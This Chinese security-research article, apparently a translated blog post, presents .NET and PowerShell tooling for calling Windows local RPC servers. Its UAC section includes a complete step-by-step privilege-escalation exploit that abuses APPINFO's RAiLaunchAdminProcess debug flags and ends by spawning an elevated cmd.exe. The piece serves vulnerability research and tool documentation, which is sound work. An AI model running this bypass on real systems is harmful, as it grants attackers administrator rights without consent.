如何通过.NET调用Windows本地RPC服务器

阅读量    1246032 | 评论 1   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

我非常喜欢挖掘Windows中的安全漏洞,并且我也喜欢自己开发工具,加快漏洞挖掘过程。在本文中,我将与大家分享我在沙箱分析项目中公开的一些工具,利用这些工具,我们可以在Windows系统中通过.NET直接访问本地RPC服务端。此外,我将以PowerShell工具为例,演示绕过UAC的一种新型方式。

这里我并没有详细讨论我在工具实现中遇到的各种问题及具体实现,如果大家想了解更多信息,可以参考下我在HITB Abu Dhabi和Power of Community 2019上的主题演讲

 

0x01 背景

如果大家看过我在issue tracker上最近提交的安全报告,会发现我非常喜欢使用C#来开发PoC。我对C++也非常熟悉,但我发现C#在利用操作系统中较为复杂的逻辑缺陷方面优势较大。因此,我不断将之前的研究成果整合到NtApiDotNet库中,这样开发PoC时我可以方便从NuGet上下载所需依赖。使用C#来开发PoC有各种优势,比如增加稳定性、减轻开发负担、减少代码量等,这些优势对厂商而言非常重要。

但并非所有东西都可以采用C#(或者.NET)来开发,我最大的一个盲点就是不熟悉直接与本地RPC服务器交互的方法。之所以对这方面不熟悉,主要原因在于微软提供的用来生成客户端的工具只会生成C代码。我无法编写Interface Definition Language(IDL,接口定义语言)文件,直接生成C#客户端。

有时候微软也会在系统上提供直接导出API函数的DLL。比如,当我研究Data Sharing Service时,我发现系统中同样搭载了DSCLIENT.DLL,其函数与RPC服务一一对应。因此只要我澄清未公开的API,就可以通过P/Invoke直接调用DLL。这种方法的问题在于扩展性不好,微软没义务提供一个通用的DLL来访问目标服务,实际上大部分RPC客户端都直接嵌入在可执行文件中,然后与目标服务交互。

当然,大家可以将生成的C代码编译到自己的DLL中,然后通过.NET(或者混合模式的C++/CLI)来调用,但我希望能找到更纯净的托管代码解决方案。经过一番调查后,我发现通过P/Invoke直接调用系统的RPC运行时(RPCRT4.DLL,其中实现了底层的客户端代码)会比较复杂,且容易出错,开发自己的实现方案似乎是最好的一种选择。

开发纯托管代码的.NET本地RPC客户端具有各种优点,例如,我们基本上不需要直接调用原生代码(除了底层的内核调用之外)。在这种情况下,对服务端进行fuzz会比使用C客户端来fuzz更为安全,此时最糟糕的情况就是将无效值传递给客户端,但出现异常后我们直接捕获就可以。此外,由于.NET编译器会将大量元数据生成到编译好的程序集(assembly)中,我们可以在运行时使用反射(reflection)来提取方法和结构的相关信息,然后使用这些元数据来生成fuzz数据。

 

0x02 已有研究成果

开发自己的本地RPC客户端毕竟是一个复杂的工程,在着手研究前,我想知道是否有人开发过基于.NET的RPC客户端。但这个问题并不容易回答,因为这里我需要满足两个需求:

1、用来从已有RPC服务端获取信息的工具,以生成对应的客户端;

2、实现本地RPC客户端。

我在研究过程中调研过一些工具及程序库,虽然最终没有采用这些方案,但这些工具依然有其价值所在。

RPC View

RPC View是非常棒的一款工具,可以查看当前哪些RPC服务端在运行。该工具只提供GUI操作接口(如上图所示),我们可以选择某个进程或者某个RPC端点,查看可用的函数。一旦找到感兴趣的RPC服务端,我们就可以使用工具内置的反编译器来生成IDL文件,然后通过微软提供的工具重新编译该文件。该工具基本上可以满足第一个需求,能够提取RPC服务端信息,但我们仍然需要通过IDL文件来实现.NET客户端。

RPC View最早为闭源代码,2017年在Github上公开代码。然而该工具采用C/C++编写,因此不大方便.NET应用使用,生成的IDL也不完整(比如缺少对系统句柄以及某些结构类型的支持),由于解析文本格式时比较复杂,因此不能很好满足我们的需求。

RPCForge

RPCForge项目由Clément RouaultThomas Imbert开发,两名研究者最早在介绍PacSec时推出了该项目。如果大家想了解本地RPC如何使用系统内置的未公开内核功能(Advanced Local Procedure Calls,ALPC),以及了解如何使用ALPC来构建自己的本地RPC客户端,那么可以参考这两名研究者的演讲材料。RPCForge项目是针对RPC客户端接口的一个fuzzer,在实现本地RPC时需要依赖PythonForWindows项目。

稍微浏览后,我们知道该项目采用Python开发,因此对实现.NET托管客户端来说帮助不大。当然我可以尝试使用IronPython(Python 2.7的一种.NET实现)来运行代码,但这样增加了许多复杂度,并且收效甚微。此外开发者并没有公布可以通过已有RPC服务端生成客户端的工具,因此这些代码除了能作为参考之外,并不能提供太多帮助。

SMBLibrary

最后一个工具是SMBLibrary,很多人并不了解该工具。这是一个.NET库,实现了SMB(Server Message Block)协议(v1到v3)。此外,这个库中也包含一个简单的基于命名管道的RPC客户端。

这个库采用C#开发,因此应当能发挥较好作用。然而不幸的是,其中实现的RPC客户端功能比较简单,只支持少数几个通用RPC服务端所需的最基本的功能。本地RPC所使用的协议与命名管道所使用的协议有所不同,需要新的实现方案。此外,该项目也没有包含用来生成客户端的任何工具。

如果我们想针对SMB服务器进行安全测试,并且希望使用.NET语言,那么我强烈推荐大家使用这个库。然而,该工具并不能完美适用于我们的使用场景。

 

0x03 实现方案

大家可以访问Github上的Sandbox Analysis Tools项目,其中就包含我的实现方案。我在该项目中提供了一些,可以用来加载DLL/EXE,并且可以将RPC服务端信息提取到.NET对象中。此外,该项目中有些支持使用Network Data Representation(NDR)协议来封装数据,也提供了本地RPC客户端代码。最后我还实现了一个客户端生成器,将经过解析的RPC服务端信息为输入,可以生成C#源代码文件。

如果大家想使用这些功能,最简单的方法就是安装NtObjectManager PowerShell模块,该模块提供了各种命令,可以提取RPC服务端信息、生成并连接RPC客户端。下面我将以实际案例来演示这些命令的用法。

 

0x04 绕过UAC

这里我将以一个bug为演示案例,这个bug只能通过直接调用RPC服务才能利用。如果没有打上安全补丁,我们就可以在默认安装的Windows系统中利用该bug。我并不想详细介绍真正未公开的安全漏洞,然而微软出于安全边界考虑,表示不会在安全公告中修复该问题,并且网上已经有一些公开方案同样能够绕过UAC,因此这里我能够与大家分享具体细节。

UAC的具体实现依赖于APPINFO服务对外提供的一个RPC服务端,通过ShellExecute API达到对用户透明的效果。这意味着如果bug位于服务接口中,除了直接调用RPC服务端之外,我们没有其他的利用方法。需要注意的是,Clément和Thomas在关于PacSec的演讲中也演示了一种UAC绕过方法,其根源在于Windows对命令行参数的解析存在问题。这里我将介绍完全不同的一种bug。

bug概览

APPINFO中的RPC服务端对应的接口ID为201ef99a-7fa0-444c-9399-19ba84f12a1a,版本号为1.0。我们在服务端中调用的RPC主函数为RAiLaunchAdminProcess,如下图所示(其中略掉了不太重要的内容):

struct APP_PROCESS_INFORMATION {
    unsigned __int3264 ProcessHandle;
    unsigned __int3264 ThreadHandle;
    long  ProcessId;
    long  ThreadId;
};

long RAiLaunchAdminProcess(
    handle_t hBinding,
    [in][unique][string] wchar_t* ExecutablePath,
    [in][unique][string] wchar_t* CommandLine,
    [in] long StartFlags,
    [in] long CreateFlags,
    [in][string] wchar_t* CurrentDirectory,
    [in][string] wchar_t* WindowStation,
    [in] struct APP_STARTUP_INFO* StartupInfo,
    [in] unsigned __int3264 hWnd,
    [in] long Timeout,
    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
    [out] long *ElevationType
);

该函数的大部分参数与CreateProcessAsUser API类似,服务会使用CreateProcessAsUser来创建新的UAC进程。这里最有趣的参数为CreateFlags,该参数直接对应CreateProcessAsUserdwCreateFlags参数。除了使用CREATE_UNICODE_ENVIRONMENT标志来验证调用方之外,其他标志会原模原样传递给API。那么这里是否涉及到一些有趣的标志?答案是肯定的。DEBUG_PROCESSDEBUG_ONLY_THIS_PROCESS标志可以自动在新的UAC进程上启用调试功能。

我之前写过关于滥用用户模式下调试器的文章,如果大家看过这篇文章,应该能猜到我们的后续操作。如果我们可以在已提升的(elevated)UAC进程上启用调试,获得其调试对象的句柄,我么就可以请求第一个调试事件,返回该进程的完整访问权限句柄。即使正常情况下我们无法直接打开该级别的进程,也可以使用这种技巧。当我们获得已提升进程的句柄后,可以通过请求NtQueryInformationProcess(使用ProcessDebugObjectHandle参数)来获取调试对象句柄。

不幸的是,这里存在一个问题。如果我们想获取某进程的调试对象句柄,首先必须在进程句柄上具备PROCESS_QUERY_INFORMATION访问权限。然而由于安全限制,对于APP_PROCESS_INFORMATION::ProcessHandle结构字段返回的已提升进程句柄,我们只能拿到PROCESS_QUERY_LIMITED_INFORMATION访问权限。这意味着我们无法创建已提升的进程,打开调试对象。

那么我们还能怎么操作?这里要注意的是,CreateProcessAsUser API中会调用如下NTDLL导出函数,自动创建调试对象:

NTSTATUS DbgUiConnectToDbg() {
    PTEB teb = NtCurrentTeb();
    if (teb->DbgSsReserved[1])
        return STATUS_SUCCESS;

    OBJECT_ATTRIBUTES ObjAttr{ sizeof(OBJECT_ATTRIBUTES) };
    return ZwCreateDebugObject(&teb->DbgSsReserved[1], DEBUG_ALL_ACCESS, 
        &ObjAttr, DEBUG_KILL_ON_CLOSE);
}

调试对象句柄存放在TEB的一个保留字段中。这非常正常,因为CreateProcessAsUserWaitForDebugEvent API不允许调用方显式指定调试对象句柄,而是只能在创建进程的同一个线程上等待调试事件。因此,在相同线程上创建的带有调试标志的所有进程都会共享同一个调试对象。

再来研究RAiLaunchAdminProcess方法,其中StartFlags参数并没有传递给CreateProcessAsUser API,而是用来修改RPC方法的行为。该函数使用了一些不同的bit位标志,其中最重要的一个标志位为bit 0,如果设置该标志,那么新进程将被提升权限。这里比较关键的一个点在于,如果进程没有被提升权限,那么我们就能够有足够的访问权限,能够打开进程调试对象的句柄,而后续已提升的进程会共享该对象。因此为了利用该问题,我们可以执行如下操作:

1、调用RAiLaunchAdminProcess,将StartFlags设置为0,同时设置DEBUG_PROCESS标志,创建新的未提升的进程。这样能初始化服务端RPC线程中TEB的调试对象字段,将其分配给新的进程。

2、使用NtQueryInformationProcess,配合返回的进程句柄来获取调试对象所对应的句柄。

3、Detach调试器,结束新进程(该进程已不再需要)。

4、调用RAiLaunchAdminProcess,将StartFlags设置为1,同时设置DEBUG_PROCESS标志,创建新的已提升的进程。由于TEB中的调试对象字段已经过初始化,因此步骤2中获取的对象会被分配给新的进程。

5、等待调试事件,返回具备完整访问权限的进程句柄。

6、获得新进程句柄后,我们就可以将代码注入已提升的进程中,绕过UAC。

在利用过程中,我们有几个点需要注意。首先,我们无法保证每次调用RAiLaunchAdminProcess时都会使用同一个线程。RPC服务端代码使用的是线程池,可能将调用分派给不同的线程,这意味着步骤1中创建的调试对象可能与步骤4中分配的对象不同。我们可以多次重复步骤1,尝试为池中所有线程初始化调试对象,捕捉这些对象的句柄。这样一来,步骤4中创建的进程会使用其中一个调试对象,从而能够解决该问题。

其次,我们在步骤4中提升进程权限时,还是会看到UAC弹出窗口,然而在默认设置的Windows中,有些自带程序会被自动提升权限,不会看到弹出窗口(比如任务管理器等)。由于我们想利用的bug位于服务中,而不是在我们创建的进程中,因此在利用过程中我们可以选择合适的可执行文件。

另外再提一点,其他API中也可以创建处于调试状态的进程。比如,WMI Win32_Process类的Create方法以Win32_ProcessStartup对象作为输入参数,其中我们也可以使用前面提到的那些进程调试标志。然而我自己并没有找到利用这种行为的方法,也许其他人可以实现。

使用PowerShell

下面演示如何利用我开发的工具来绕过UAC,我们可以使用NtObjectManager PowerShell模块,这应该是最快的一种方法。当然大家也可以开发自己的C#代码。下面我将逐步列出在PowerShell命令提示符中需要运行的每条指令。

步骤1:为当前用户安装NtObjectManager模块,我们还需要设置PowerShell执行策略,允许未签名脚本运行。如果已安装NtObjectManager模块,想确认是否是最新版本,可以使用Update-Module命令。

Install-Module "NtObjectManager" -Scope CurrentUser

步骤2:解析服务对应的APPINFO.DLL可执行文件,从DLL中提取所有RPC服务端,然后根据接口ID过滤出我们感兴趣的RPC服务端。此外,我们还可以在Get-RpcServer中添加DbgHelpPath参数,指向Windows提供的调试工具中的DBGHELP.DLL副本,通过公开符号来解析对应的方法名。我们将在步骤3中使用其他方法,确保获取到正确的函数名。

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
 | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

步骤3:重命名RPC服务端接口中的部分数据。解析出的RPC服务端对象中包含名称可变的各种字符串,适用于方法名、参数、结构字段等。虽然该步骤不是必选步骤,但可以让后续代码更容易理解。我们可以手动命名,或者可以使用包含名称信息的XML文件。我们可以使用Get-RpcServerName函数,为某个服务端生成完整的XML文件,然后再编辑该文件。典型的XML文件如下所示:

<RpcServerNameData 
   xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
  <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
  <InterfaceMajorVersion>1</InterfaceMajorVersion>
  <InterfaceMinorVersion>0</InterfaceMinorVersion>
  <Procedures>
    <NdrProcedureNameData>
      <Index>0</Index>
      <Name>RAiLaunchAdminProcess</Name>
      <Parameters>
        <NdrProcedureParameterNameData>
          <Index>10</Index>
          <Name>ProcessInformation</Name>
        </NdrProcedureParameterNameData>
      </Parameters>
    </NdrProcedureNameData>
  </Procedures>
  <Structures>
  <NdrStructureNameData>
      <Index>0</Index>
      <Members/>
      <Name>APP_STARTUP_INFO</Name>
    </NdrStructureNameData>
    <NdrStructureNameData>
      <Index>2</Index>
      <Members>
        <NdrStructureMemberNameData>
          <Index>0</Index>
          <Name>ProcessHandle</Name>
        </NdrStructureMemberNameData>
      </Members>
      <Name>APP_PROCESS_INFORMATION</Name>
    </NdrStructureNameData>
  </Structures>
</RpcServerNameData>

将文件保存为names.xml,然后使用如下命令将其应用于RPC服务端:

Get-Content "names.xml" | Set-RpcServerName $rpc

步骤4:根据RPC服务端创建客户端对象。该过程涉及若干操作:生成C#源码文件(其中实现了RPC客户端),然后将C#文件编译成临时的程序集,最终创建该客户端对象的一个新实例。此时RPC客户端并没有连接,只是实现了导出函数以及用来封装参数的代码。如果想查看生成的C#代码,我们也可以使用Format-RpcClient函数。

$client = Get-RpcClient $rpc

步骤5:将客户端连接到本地RPC服务端的ALPC端口。由于UAC RPC服务端使用的是RPC Endpoint Mapper,因此我们不需要知道ALPC端口的名称,可以实现自动查找。如果该服务可以在特定条件下触发(比如APPINFO服务),那么这个过程还可以帮我们自动启动对应的系统服务。

Connect-RpcClient $client

步骤6:定义封装RAiLaunchAdminProcess方法的一个PowerShell函数,这样多次调用起来会更加方便。这里我们可以在进程创建过程中传入可选的DEBUG_PROCESS标志,根据具体需求选择是否提升进程权限。该函数将返回一个NtProcess对象,该对象可以用来访问创建进程的属性(包括调试对象)。需要注意的是,当调用RAiLaunchAdminProcess时,传出参数(如ProcessInformation)会以结构体形式返回,这样PowerShell用起来比较方便,如果确实需要使用outref参数时,可以选择将其禁用。

function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }

  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

步骤7:创建未提升的进程,然后获取调试对象。这里我们我们可以创建notepad进程。获取调试对象后,我们需要detach调试器,否则在等待调试事件时,我们会从该进程及已提升的进程中收到混合在一起的消息。此外,如果不执行detach操作,进程也不会被终止。

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

步骤8:创建已提升的进程,这里我们可以选择能够自动提升权限的应用(比如任务管理器)。此时分配给已提升进程的调试对象通常会与我们在步骤7中得到的调试对象相同,除非我们运气实在太差,另一个线程已经响应RPC请求,现在我们可以暂时忽略这个问题。此时我们可以在调试对象上等待获取初始进程创建调试事件,然后从该事件中提取已提升进程的句柄。这里需要注意一点,初始调试事件中返回的句柄并没有具备完整特权,其中不包含PROCESS_SUSPEND_RESUME,因此我们无法从调试对象detach进程。然而我们具备PROCESS_DUP_HANDLE访问权限,因此可以使用Copy-NtObject,从已提升的进程中复制当前进程的伪句柄(-1),拿到完整特权的句柄。

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

步骤9:现在$new_p变量应该会包含完整特权的进程句柄。如果想快速实现高权限下任意代码执行,可以使用该句柄作为父进程来创建一个新的进程。比如我们可以使用如下命令,以管理员身份弹出一个命令提示符:

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

以上就是一个典型的利用案例,希望大家能对该工具更加熟悉。

 

0x05 通过C#使用RPC客户端

最后我想介绍下如何在C#代码中使用该工具。编译C#文件比较简单,可以在PowerShell中使用Format-RpcClient命令,或者从C#中使用RpcClientBuilder类,从经过解析的RPC服务端中生成该文件。PowerShell可以很方便解析一个目录中的多个可执行文件,然后使用如下命令解析所有system32 DLL,在输出路径中生成单独的C#文件,这样就能为每个服务端生成对应的客户端。

$rpcs = ls "c:\windows\system32\*.dll" | Get-RpcServer
$rpcs | Format-RpcClient -OutputPath "cs_output"

接下来可以根据需要使用已生成的C#文件,将解析文件加入Visual Studio项目中或者手动编译。我们还需要从NuGet上获取NtApiDotNet库,以便生成正常的本地RPC客户端代码。这种方案虽然只能在Windows上使用,但应该适用于.NET Core。

如果想使用客户端,可以编写如下C#代码,其中using语句需要根据RPC的接口ID及版本来修改。

using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;

Client client = new Client();
client.Connect();
client.RAiLaunchAdminProcess("c:\windows\system32\notepad.exe", ...);

我们可以将其他选项传递给Format-RpcClient,改变输出结果。比如我们可以指定命名空间、客户端名称等。由于生成所有客户端是比较费时的一个操作(特别是想适配所有Windows版本时),并且大家也有需要解析公共符号,因此我专门解决了这种需求。我在Github上的公开了WindowsRpcClient项目,已经预先为Windows 7、Windows 8.1以及Windows 10 1803、1903和1909生成对应的客户端。由于代码采用自动生成方式,没有许可证约束,因此大家可以自由使用(但我们还是需要使用NtApiDotNet库)。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多